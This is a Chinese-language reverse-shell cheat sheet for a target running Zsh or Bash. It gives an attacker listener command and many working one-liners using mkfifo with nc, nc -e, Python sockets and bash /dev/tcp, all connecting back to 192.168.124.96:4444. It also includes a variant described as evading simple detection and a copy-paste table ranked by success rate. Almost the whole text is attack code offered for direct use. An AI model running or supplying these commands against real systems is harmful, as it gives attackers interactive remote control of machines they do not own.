场景假设

  • 攻击机 IP:192.168.124.96
  • 监听端口:4444
  • 目标机可能默认是 Zsh

攻击机(Kali 或任意机器)先监听(只做一次)

ncat -lvnp 4444
# 或者用 nc 也行
nc -lvnp 4444

目标机上的操作(分两种 shell 情况)

情况1:你当前就是在 Zsh 下(最常见)

直接敲下面任意一条就行,按可靠性排序:

  1. 最推荐(mkfifo + nc,几乎 100% 成功)

    rm /tmp/f 2>/dev/null; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc 192.168.124.96 4444 > /tmp/f
    
  2. 如果目标机装了 netcat traditional(有 -e 参数)

    nc -e /bin/bash 192.168.124.96 4444
    # 或者
    nc 192.168.124.96 4444 -e /bin/bash
    
  3. 如果有 Python3(几乎所有现代系统都有)

    python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("192.168.124.96",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'
    
  4. 如果有 Python(旧版语法)

    python -c 'import socket,subprocess,os;s=socket.socket(2,1);s.connect(("192.168.124.96",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"]);'
    

情况2:你已经切换到 Bash 了,或者目标默认就是 Bash

那就可以直接用 Bash 独有的 /dev/tcp 神器了:

  1. 最简洁(推荐)

    bash -i >& /dev/tcp/192.168.124.96/4444 0>&1
    
  2. 一行让 Zsh 直接调用 Bash 来执行(即使当前是 Zsh 也能用)

    bash -c 'bash -i >& /dev/tcp/192.168.124.96/4444 0>&1'
    
  3. 更隐蔽一点(推荐用于绕过一些简单检测)

    exec 5<>/dev/tcp/192.168.124.96/4444; cat <&5 | while read line; do $line 2>&5 >&5; done
    

快速判断当前是 Zsh 还是 Bash

echo $SHELL    # 显示登录 shell(不一定就是当前)
echo $0         # 当前正在用的 shell(最准)
ps -p $$        # 看当前进程名

终极一键表(直接复制粘贴就行)

当前 Shell 命令(直接复制) 成功率 备注
Zsh/Bash rm /tmp/f 2>/dev/null; mkfifo /tmp/f; cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.124.96 4444 >/tmp/f ★★★★★ 最稳,几乎无条件成功
Zsh/Bash bash -c 'bash -i >& /dev/tcp/192.168.124.96/4444 0>&1' ★★★★☆ 需要 bash 支持 /dev/tcp
Zsh/Bash nc 192.168.124.96 4444 -e /bin/bash ★★★★☆ 需要 nc 支持 -e(traditional)
Zsh/Bash python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("192.168.124.96",4444));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];subprocess.call(["/bin/bash","-i"])' ★★★★☆ 需要 python3

总结一句话:

  • 在 Zsh 里别指望 /dev/tcp,直接上 mkfifo + nc 那一行,几乎百发百中。
  • 如果你能切到 Bash,或者用 bash -c 强制调用 Bash,那 /dev/tcp 那一行最短最好看。